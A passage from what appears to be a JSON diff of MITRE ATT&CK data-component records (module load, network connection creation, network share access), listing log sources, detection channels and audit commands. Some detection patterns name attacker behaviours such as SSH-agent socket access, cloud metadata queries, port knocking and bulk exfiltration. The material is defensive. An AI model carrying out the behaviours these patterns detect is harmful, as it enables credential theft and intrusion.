"macos:unifiedlog", + "channel": "Dylib loaded from abnormal location" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=3033" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=3063" + }, + { + "name": "auditd:MMAP", + "channel": "load: Loading of libzip.so, libz.so, or libbz2.so by processes not normally associated with archiving" + }, + { + "name": "macos:unifiedlog", + "channel": "Loading of libz.dylib, libarchive.dylib by non-standard applications" + }, + { + "name": "macos:unifiedlog", + "channel": "suspicious dlopen/dlsym usage in non-development processes" + }, + { + "name": "m365:unified", + "channel": "Non-standard Office startup component detected (e.g., unexpected DLL path)" + }, + { + "name": "auditd:SYSCALL", + "channel": "mmap" + }, + { + "name": "esxi:vmkernel", + "channel": "unexpected module load" + }, + { + "name": "snmp:status", + "channel": "Status change in cryptographic hardware modules (enabled -> disabled)" + }, + { + "name": "esxi:vmkernel", + "channel": "module load" + }, + { + "name": "macos:unifiedlog", + "channel": "delay/sleep library usage in user context" + }, + { + "name": "linux:syslog", + "channel": "kmod" + }, + { + "name": "macos:unifiedlog", + "channel": "subsystem=com.apple.kextd" + }, + { + "name": "macos:unifiedlog", + "channel": "loading of unexpected dylibs compared to historical baselines" + }, + { + "name": "auditd:file-events", + "channel": "open of suspicious .so from non-standard paths" + }, + { + "name": "macos:syslog", + "channel": "DYLD_INSERT_LIBRARIES anomalies" + }, + { + "name": "auditd:SYSCALL", + "channel": "dmesg" + }, + { + "name": "macos:endpointsecurity", + "channel": "ES_EVENT_TYPE_NOTIFY_KEXTLOAD" + }, + { + "name": "auditd:SYSCALL", + "channel": "module load or memory map path" + }, + { + "name": "macos:unifiedlog", + "channel": "launch and dylib load" + }, + { + "name": "linux:osquery", + "channel": "Processes linked with libssl/libcrypto performing network activity" + }, + { + "name": "etw:Microsoft-Windows-Kernel-ImageLoad", + "channel": "provider: Unsigned/user-writable image loads into msbuild.exe" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0016\", \"external_id\": \"DC0016\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Module\", \"channel\": \"None\"}, {\"name\": \"WinEventLog:Sysmon\", \"channel\": \"EventCode=7\"}, {\"name\": \"ETW:LoadImage\", \"channel\": \"provider: ETW LoadImage events for images from user-writable/UNC paths\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"openat/read/mmap: Open/mmap .so files from non-standard paths\"}, {\"name\": \"linux:osquery\", \"channel\": \"select: Open files path LIKE '/tmp/%.so' OR '/dev/shm/%.so'\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"dyld/unified log entries indicating image load from non-system paths\"}, {\"name\": \"macos:osquery\", \"channel\": \"select: path LIKE '%/Library/%/*.dylib' OR '/tmp/*.dylib'\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"dynamic loading of sleep-related functions or sandbox detection libraries\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"LD_PRELOAD Logging\"}, {\"name\": \"linux:osquery\", \"channel\": \"Dynamic Linking State\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"DYLD event subsystem\"}, {\"name\": \"linux:osquery\", \"channel\": \"Process linked with libcrypto.so making external connections\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process execution events with dylib load activity\"}, {\"name\": \"linux:Sysmon\", \"channel\": \"EventCode=7\"}, {\"name\": \"WinEventLog:Application\", \"channel\": \"CLR Assembly creation, loading, or modification logs via MSSQL CLR integration\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Process memory maps new dylib (dylib_load event)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Dylib loaded from abnormal location\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=3033\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=3063\"}, {\"name\": \"auditd:MMAP\", \"channel\": \"load: Loading of libzip.so, libz.so, or libbz2.so by processes not normally associated with archiving\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Loading of libz.dylib, libarchive.dylib by non-standard applications\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"suspicious dlopen/dlsym usage in non-development processes\"}, {\"name\": \"m365:unified\", \"channel\": \"Non-standard Office startup component detected (e.g., unexpected DLL path)\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"mmap\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"unexpected module load\"}, {\"name\": \"snmp:status\", \"channel\": \"Status change in cryptographic hardware modules (enabled -> disabled)\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"module load\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"delay/sleep library usage in user context\"}, {\"name\": \"linux:syslog\", \"channel\": \"kmod\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"subsystem=com.apple.kextd\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"loading of unexpected dylibs compared to historical baselines\"}, {\"name\": \"auditd:file-events\", \"channel\": \"open of suspicious .so from non-standard paths\"}, {\"name\": \"macos:syslog\", \"channel\": \"DYLD_INSERT_LIBRARIES anomalies\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"dmesg\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"ES_EVENT_TYPE_NOTIFY_KEXTLOAD\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"module load or memory map path\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"launch and dylib load\"}, {\"name\": \"linux:osquery\", \"channel\": \"Processes linked with libssl/libcrypto performing network activity\"}, {\"name\": \"etw:Microsoft-Windows-Kernel-ImageLoad\", \"channel\": \"provider: Unsigned/user-writable image loads into msbuild.exe\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--f424e4b4-a8a4-4c58-a4ae-4f53bfd08563\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:35.471000+00:00\", \"old_value\": \"2025-04-18 15:12:16.486000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.274000+00:00", + "modified": "2025-10-21 15:14:34.190000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0082", + "external_id": "DC0082" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Network Connection Creation", + "description": "The initial establishment of a network session, where a system or process initiates a connection to a local or remote endpoint. This typically involves capturing socket information (source/destination IP, ports, protocol) and tracking session metadata. Monitoring these events helps detect lateral movement, exfiltration, and command-and-control (C2) activities.\n\n*Data Collection Measures:*\n\n- Windows:\n - Event ID 5156 \u2013 Filtering Platform Connection - Logs network connections permitted by Windows Filtering Platform (WFP).\n - Sysmon Event ID 3 \u2013 Network Connection Initiated - Captures process, source/destination IP, ports, and parent process.\n- Linux/macOS:\n - Netfilter (iptables), nftables logs - Tracks incoming and outgoing network connections.\n - AuditD (`connect` syscall) - Logs TCP, UDP, and ICMP connections.\n - Zeek (`conn.log`) - Captures protocol, duration, and bytes transferred.\n- Cloud & Network Infrastructure:\n - AWS VPC Flow Logs / Azure NSG Flow Logs - Logs IP traffic at the network level in cloud environments.\n - Zeek (conn.log) or Suricata (network events) - Captures packet metadata for detection and correlation.\n- Endpoint Detection & Response (EDR):\n - Detect anomalous network activity such as new C2 connections or data exfiltration attempts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Network Traffic", + "channel": "None" + }, + { + "name": "AWS:VPCFlowLogs", + "channel": "Outbound connection to 169.254.169.254 from EC2 workload" + }, + { + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "name": "macos:unifiedlog", + "channel": "connection attempts" + }, + { + "name": "esxi:hostd", + "channel": "System service interactions" + }, + { + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3, 22" + }, + { + "name": "NSM:Connections", + "channel": "web domain alerts" + }, + { + "name": "WinEventLog:Sysmon", + "channel": "EventCode=22" + }, + { + "name": "auditd:SYSCALL", + "channel": "connect" + }, + { + "name": "auditd:SYSCALL", + "channel": "netconnect" + }, + { + "name": "macos:osquery", + "channel": "process_events/socket_events" + }, + { + "name": "NSM:Firewall", + "channel": "Outbound Connections" + }, + { + "name": "macos:unifiedlog", + "channel": "connection open" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execs of chromium, google-chrome, firefox, libreoffice with http(s) in cmdline" + }, + { + "name": "NSM:Flow", + "channel": "New TCP/443 or TCP/80 to domain not previously seen for the user/host" + }, + { + "name": "NSM:Connections", + "channel": "New outbound connection from Safari/Chrome/Firefox/Word" + }, + { + "name": "NSM:Flow", + "channel": "conn.log" + }, + { + "name": "auditd:SYSCALL", + "channel": "open or connect" + }, + { + "name": "macos:osquery", + "channel": "execution of trusted tools interacting with external endpoints" + }, + { + "name": "linux:Sysmon", + "channel": "EventCode=22" + }, + { + "name": "WinEventLog:Microsoft-Windows-Bits-Client/Operational", + "channel": "BITS job lifecycle events such as job create/modify/transfer/complete and URL/remote name fields" + }, + { + "name": "NSM:Firewall", + "channel": "proxy or TLS inspection logs" + }, + { + "name": "macos:unifiedlog", + "channel": "network connection events" + }, + { + "name": "esxi:vmkernel", + "channel": "protocol egress" + }, + { + "name": "NSM:Flow", + "channel": "Outbound connection to *.tunnels.api.visualstudio.com or *.devtunnels.ms" + }, + { + "name": "NSM:Flow", + "channel": "Connections to *.devtunnels.ms or tunnels.api.visualstudio.com" + }, + { + "name": "NSM:Flow", + "channel": "HTTPs connection to tunnels.api.visualstudio.com" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=5156" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=5156,5157" + }, + { + "name": "linux:osquery", + "channel": "family=AF_PACKET or protocol raw; process name not in allowlist." + }, + { + "name": "macos:unifiedlog", + "channel": "First outbound connection from the same PID/user shortly after an inbound trigger." + }, + { + "name": "NSM:Flow", + "channel": "Outbound or inbound TFTP file transfers of ROMMON or firmware binaries" + }, + { + "name": "NSM:Connections", + "channel": "Outbound connections from newly spawned child processes or from the browser to uncommon endpoints or on anomalous ports" + }, + { + "name": "NSM:Flow", + "channel": "connection: TCP connections to ports 139/445 to multiple hosts" + }, + { + "name": "NSM:Flow", + "channel": "connection: SMB connections to multiple internal hosts" + }, + { + "name": "auditd:SYSCALL", + "channel": "connect/sendto" + }, + { + "name": "macos:endpointsecurity", + "channel": "ES_EVENT_TYPE_NOTIFY_CONNECT" + }, + { + "name": "snmp:access", + "channel": "GETBULK/GETNEXT requests for OIDs associated with configuration parameters" + }, + { + "name": "esxi:hostd", + "channel": "Service initiated connections" + }, + { + "name": "AWS:VPCFlowLogs", + "channel": "Large transfer volume (>20MB) from RDS IP range to external public IPs" + }, + { + "name": "AWS:VPCFlowLogs", + "channel": "High outbound traffic from new region resource" + }, + { + "name": "NSM:Flow", + "channel": "Outbound HTTP/S initiated by newly installed interpreter process" + }, + { + "name": "auditd:SYSCALL", + "channel": "open or connect syscalls on /tmp/ssh-* or $SSH_AUTH_SOCK" + }, + { + "name": "NSM:Flow", + "channel": "outbound connections to RMM services or to unusual destination ports" + }, + { + "name": "macos:unifiedlog", + "channel": "network sessions initiated by remote desktop apps" + }, + { + "name": "AWS:VPCFlowLogs", + "channel": "Outbound connections to port 22, 3389" + }, + { + "name": "auditd:SYSCALL", + "channel": "socket/connect with TLS context by unexpected process" + }, + { + "name": "NSM:Flow", + "channel": "Multiple failed connections (conn_state=REJ/S0 or history has 'R') across distinct ports from the same src_ip followed by success to a specific port." + }, + { + "name": "auditd:SYSCALL", + "channel": "socket/bind: New bind() to a previously closed port shortly after the sequence." + }, + { + "name": "NSM:Flow", + "channel": "Sequence of REJ/S0 then SF success from same src_ip within TimeWindow." + }, + { + "name": "NSM:Flow", + "channel": "Series of denied/closed flows to distinct ports then success to mgmt port from same src_ip within TimeWindow." + }, + { + "name": "NSM:Flow", + "channel": "Outbound traffic spike through formerly blocked ports/subnets following config change" + }, + { + "name": "cni:netflow", + "channel": "outbound connection to internal or external APIs" + }, + { + "name": "macos:osquery", + "channel": "launchd or network_events" + }, + { + "name": "networkdevice:syslog", + "channel": "Dynamic route changes" + }, + { + "name": "NSM:Flow", + "channel": "New egress to Internet by the same UID/host shortly after terminal exec" + }, + { + "name": "NSM:Flow", + "channel": "connection: Inbound connections to SSH or VPN ports" + }, + { + "name": "macos:unifiedlog", + "channel": "Inbound connections to VNC/SSH ports" + }, + { + "name": "NSM:Flow", + "channel": "External access to container ports (2375, 6443)" + }, + { + "name": "linux:syslog", + "channel": "network" + }, + { + "name": "macos:osquery", + "channel": "process_events + launchd" + }, + { + "name": "esxi:esxupdate", + "channel": "/var/log/esxupdate.log or /var/log/vmksummary.log" + }, + { + "name": "ebpf:syscalls", + "channel": "socket connect" + }, + { + "name": "NSM:Flow", + "channel": "remote access" + }, + { + "name": "NSM:Flow", + "channel": "Outbound Connections" + }, + { + "name": "macos:unifiedlog", + "channel": "network" + }, + { + "name": "AWS:VPCFlowLogs", + "channel": "Traffic observed on mirror destination instance" + }, + { + "name": "networkdevice:Flow", + "channel": "Traffic from mirrored interface to mirror target IP" + }, + { + "name": "linux:Sysmon", + "channel": "EventCode=3" + }, + { + "name": "macos:osquery", + "channel": "process_events, socket_events" + }, + { + "name": "esxi:vmkernel", + "channel": "network activity" + }, + { + "name": "NSM:Flow", + "channel": "connection attempts" + }, + { + "name": "NSM:Flow", + "channel": "High-volume or repeated SNMP GETBULK/GETNEXT queries from untrusted or external IPs" + }, + { + "name": "auditd:SYSCALL", + "channel": "sendto/connect" + }, + { + "name": "NSM:Flow", + "channel": "outbound connections from host during or immediately after image build" + }, + { + "name": "macos:unifiedlog", + "channel": "Outbound Traffic" + }, + { + "name": "esxi:hostd", + "channel": "Service-Based Network Connection" + }, + { + "name": "linux:syslog", + "channel": "postfix/smtpd" + }, + { + "name": "NSM:Flow", + "channel": "new outbound connection from browser/office lineage" + }, + { + "name": "NSM:Flow", + "channel": "new outbound connection from exploited lineage" + }, + { + "name": "macos:osquery", + "channel": "CONNECT: Long-lived connections from remote-control parents to external IPs/domains" + }, + { + "name": "auditd:SYSCALL", + "channel": "outbound connections" + }, + { + "name": "macos:unifiedlog", + "channel": "None" + }, + { + "name": "esxi:vmkernel", + "channel": "None" + }, + { + "name": "macos:unifiedlog", + "channel": "networkd or socket" + }, + { + "name": "macos:unifiedlog", + "channel": "log stream network activity" + }, + { + "name": "NSM:Flow", + "channel": "Multiple failed connections to closed ports (history contains 'R' or conn_state in {REJ, S0}) followed by a successful handshake to a new port from same src within TimeWindowKnock" + }, + { + "name": "auditd:SYSCALL", + "channel": "socket/bind: Process binds to a new local port shortly after knock" + }, + { + "name": "NSM:Flow", + "channel": "Closed-port hits followed by success from same src_ip" + }, + { + "name": "NSM:Flow", + "channel": "Port-knock pattern from one src to device unicast,broadcast,network addresses on same port within TimeWindowKnock" + }, + { + "name": "WinEventLog:Microsoft-Windows-WLAN-AutoConfig", + "channel": "8001, 8002, 8003" + }, + { + "name": "linux:syslog", + "channel": "New Wi-Fi connection established or repeated association failures" + }, + { + "name": "macos:unifiedlog", + "channel": "Association and authentication events including failures and new SSIDs" + }, + { + "name": "auditd:SYSCALL", + "channel": "socket/connect calls showing SSH processes forwarding arbitrary ports" + }, + { + "name": "esxi:vmkernel", + "channel": "network session initiation with external HTTPS services" + }, + { + "name": "WinEventLog:System", + "channel": "EventCode=8001" + }, + { + "name": "linux:syslog", + "channel": "None" + }, + { + "name": "macos:osquery", + "channel": "None" + }, + { + "name": "auditd:SYSCALL", + "channel": "openat,connect -k discovery" + }, + { + "name": "NSM:Flow", + "channel": "Unexpected inbound/outbound TFTP traffic for device image files" + }, + { + "name": "NSM:Flow", + "channel": "Unexpected or unauthorized inbound connections to SNMP, NETCONF, or RESTCONF services" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "mobile-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0082\", \"external_id\": \"DC0082\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Network Traffic\", \"channel\": \"None\"}, {\"name\": \"AWS:VPCFlowLogs\", \"channel\": \"Outbound connection to 169.254.169.254 from EC2 workload\"}, {\"name\": \"WinEventLog:Sysmon\", \"channel\": \"EventCode=3\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"connection attempts\"}, {\"name\": \"esxi:hostd\", \"channel\": \"System service interactions\"}, {\"name\": \"WinEventLog:Sysmon\", \"channel\": \"EventCode=3, 22\"}, {\"name\": \"NSM:Connections\", \"channel\": \"web domain alerts\"}, {\"name\": \"WinEventLog:Sysmon\", \"channel\": \"EventCode=22\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"connect\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"netconnect\"}, {\"name\": \"macos:osquery\", \"channel\": \"process_events/socket_events\"}, {\"name\": \"NSM:Firewall\", \"channel\": \"Outbound Connections\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"connection open\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execs of chromium, google-chrome, firefox, libreoffice with http(s) in cmdline\"}, {\"name\": \"NSM:Flow\", \"channel\": \"New TCP/443 or TCP/80 to domain not previously seen for the user/host\"}, {\"name\": \"NSM:Connections\", \"channel\": \"New outbound connection from Safari/Chrome/Firefox/Word\"}, {\"name\": \"NSM:Flow\", \"channel\": \"conn.log\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open or connect\"}, {\"name\": \"macos:osquery\", \"channel\": \"execution of trusted tools interacting with external endpoints\"}, {\"name\": \"linux:Sysmon\", \"channel\": \"EventCode=22\"}, {\"name\": \"WinEventLog:Microsoft-Windows-Bits-Client/Operational\", \"channel\": \"BITS job lifecycle events such as job create/modify/transfer/complete and URL/remote name fields\"}, {\"name\": \"NSM:Firewall\", \"channel\": \"proxy or TLS inspection logs\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"network connection events\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"protocol egress\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Outbound connection to *.tunnels.api.visualstudio.com or *.devtunnels.ms\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Connections to *.devtunnels.ms or tunnels.api.visualstudio.com\"}, {\"name\": \"NSM:Flow\", \"channel\": \"HTTPs connection to tunnels.api.visualstudio.com\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=5156\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=5156,5157\"}, {\"name\": \"linux:osquery\", \"channel\": \"family=AF_PACKET or protocol raw; process name not in allowlist.\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"First outbound connection from the same PID/user shortly after an inbound trigger.\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Outbound or inbound TFTP file transfers of ROMMON or firmware binaries\"}, {\"name\": \"NSM:Connections\", \"channel\": \"Outbound connections from newly spawned child processes or from the browser to uncommon endpoints or on anomalous ports\"}, {\"name\": \"NSM:Flow\", \"channel\": \"connection: TCP connections to ports 139/445 to multiple hosts\"}, {\"name\": \"NSM:Flow\", \"channel\": \"connection: SMB connections to multiple internal hosts\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"connect/sendto\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"ES_EVENT_TYPE_NOTIFY_CONNECT\"}, {\"name\": \"snmp:access\", \"channel\": \"GETBULK/GETNEXT requests for OIDs associated with configuration parameters\"}, {\"name\": \"esxi:hostd\", \"channel\": \"Service initiated connections\"}, {\"name\": \"AWS:VPCFlowLogs\", \"channel\": \"Large transfer volume (>20MB) from RDS IP range to external public IPs\"}, {\"name\": \"AWS:VPCFlowLogs\", \"channel\": \"High outbound traffic from new region resource\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Outbound HTTP/S initiated by newly installed interpreter process\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open or connect syscalls on /tmp/ssh-* or $SSH_AUTH_SOCK\"}, {\"name\": \"NSM:Flow\", \"channel\": \"outbound connections to RMM services or to unusual destination ports\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"network sessions initiated by remote desktop apps\"}, {\"name\": \"AWS:VPCFlowLogs\", \"channel\": \"Outbound connections to port 22, 3389\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"socket/connect with TLS context by unexpected process\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Multiple failed connections (conn_state=REJ/S0 or history has 'R') across distinct ports from the same src_ip followed by success to a specific port.\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"socket/bind: New bind() to a previously closed port shortly after the sequence.\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Sequence of REJ/S0 then SF success from same src_ip within TimeWindow.\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Series of denied/closed flows to distinct ports then success to mgmt port from same src_ip within TimeWindow.\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Outbound traffic spike through formerly blocked ports/subnets following config change\"}, {\"name\": \"cni:netflow\", \"channel\": \"outbound connection to internal or external APIs\"}, {\"name\": \"macos:osquery\", \"channel\": \"launchd or network_events\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"Dynamic route changes\"}, {\"name\": \"NSM:Flow\", \"channel\": \"New egress to Internet by the same UID/host shortly after terminal exec\"}, {\"name\": \"NSM:Flow\", \"channel\": \"connection: Inbound connections to SSH or VPN ports\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Inbound connections to VNC/SSH ports\"}, {\"name\": \"NSM:Flow\", \"channel\": \"External access to container ports (2375, 6443)\"}, {\"name\": \"linux:syslog\", \"channel\": \"network\"}, {\"name\": \"macos:osquery\", \"channel\": \"process_events + launchd\"}, {\"name\": \"esxi:esxupdate\", \"channel\": \"/var/log/esxupdate.log or /var/log/vmksummary.log\"}, {\"name\": \"ebpf:syscalls\", \"channel\": \"socket connect\"}, {\"name\": \"NSM:Flow\", \"channel\": \"remote access\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Outbound Connections\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"network\"}, {\"name\": \"AWS:VPCFlowLogs\", \"channel\": \"Traffic observed on mirror destination instance\"}, {\"name\": \"networkdevice:Flow\", \"channel\": \"Traffic from mirrored interface to mirror target IP\"}, {\"name\": \"linux:Sysmon\", \"channel\": \"EventCode=3\"}, {\"name\": \"macos:osquery\", \"channel\": \"process_events, socket_events\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"network activity\"}, {\"name\": \"NSM:Flow\", \"channel\": \"connection attempts\"}, {\"name\": \"NSM:Flow\", \"channel\": \"High-volume or repeated SNMP GETBULK/GETNEXT queries from untrusted or external IPs\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"sendto/connect\"}, {\"name\": \"NSM:Flow\", \"channel\": \"outbound connections from host during or immediately after image build\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Outbound Traffic\"}, {\"name\": \"esxi:hostd\", \"channel\": \"Service-Based Network Connection\"}, {\"name\": \"linux:syslog\", \"channel\": \"postfix/smtpd\"}, {\"name\": \"NSM:Flow\", \"channel\": \"new outbound connection from browser/office lineage\"}, {\"name\": \"NSM:Flow\", \"channel\": \"new outbound connection from exploited lineage\"}, {\"name\": \"macos:osquery\", \"channel\": \"CONNECT: Long-lived connections from remote-control parents to external IPs/domains\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"outbound connections\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"None\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"None\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"networkd or socket\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log stream network activity\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Multiple failed connections to closed ports (history contains 'R' or conn_state in {REJ, S0}) followed by a successful handshake to a new port from same src within TimeWindowKnock\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"socket/bind: Process binds to a new local port shortly after knock\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Closed-port hits followed by success from same src_ip\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Port-knock pattern from one src to device unicast,broadcast,network addresses on same port within TimeWindowKnock\"}, {\"name\": \"WinEventLog:Microsoft-Windows-WLAN-AutoConfig\", \"channel\": \"8001, 8002, 8003\"}, {\"name\": \"linux:syslog\", \"channel\": \"New Wi-Fi connection established or repeated association failures\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Association and authentication events including failures and new SSIDs\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"socket/connect calls showing SSH processes forwarding arbitrary ports\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"network session initiation with external HTTPS services\"}, {\"name\": \"WinEventLog:System\", \"channel\": \"EventCode=8001\"}, {\"name\": \"linux:syslog\", \"channel\": \"None\"}, {\"name\": \"macos:osquery\", \"channel\": \"None\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"openat,connect -k discovery\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Unexpected inbound/outbound TFTP traffic for device image files\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Unexpected or unauthorized inbound connections to SNMP, NETCONF, or RESTCONF services\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--c000cd5c-bbb3-4606-af6f-6c6d9de0bbe3\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:34.190000+00:00\", \"old_value\": \"2025-04-18 15:11:23.639000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.2\"}}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--f5468e67-51c7-4756-9b4f-65707708e7fa", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.275000+00:00", + "modified": "2025-10-21 15:14:37.412000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0102", + "external_id": "DC0102" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Network Share Access", + "description": "Opening a network share, which makes the contents available to the requestor (ex: Windows EID 5140 or 5145)\n\n*Data Collection Measures:*\n\n- Windows:\n - Event ID 5140 \u2013 Network Share Object Access Logs every access attempt to a network share.\n - Event ID 5145 \u2013 Detailed Network Share Object Access Captures granular access control information, including the requesting user, source IP, and access permissions.\n - Sysmon Event ID 3 \u2013 Network Connection Initiated Helps track SMB connections to suspicious or unauthorized network shares.\n - Enable Audit Policy for Network Share Access: `auditpol /set /subcategory:\"File Share\" /success:enable /failure:enable`\n - Enable PowerShell Logging to Detect Unauthorized SMB Access: `Set-ExecutionPolicy RemoteSigned`\n - Restrict Network Share Access with Group Policy (GPO): `Computer Configuration \u2192 Windows Settings \u2192 Security Settings \u2192 Local Policies \u2192 User Rights Assignment` Set \"Access this computer from the network\" to restrict unauthorized accounts.\n- Linux/macOS:\n - AuditD (`open`, `read`, `write`, `connect` syscalls) Detects access to NFS, CIFS, and SMB network shares.\n - Lsof (`lsof | grep nfs` or `lsof | grep smb`) Identifies active network share connections.\n - Mount (`mount | grep nfs` or `mount | grep cifs`) Lists currently mounted network shares.\n - Enable AuditD for SMB/NFS Access: `auditctl -a always,exit -F arch=b64 -S open -F path=/mnt/share -k network_share_access`\n - Monitor Active Network Shares Using Netstat: `netstat -an | grep :445`\n- Endpoint Detection & Response (EDR):\n - Detects abnormal network share access behavior, such as unusual account usage, large file transfers, or encrypted file activity.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Network Share", + "channel": "None" + }, + { + "name": "WinEventLog:Microsoft-Windows-SMBClient/Security", + "channel": "EventID=31001" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=5140" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=5145" + }, + { + "name": "WinEventLog:Microsoft-Windows-SMBServer", + "channel": "Access to SYSVOL share from non-admin user or unusual endpoints" + }, + { + "name": "NSM:Flow", + "channel": "smb_files.log" + }, + { + "name": "m365:unified", + "channel": "FileUploaded, FileAccessed" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": 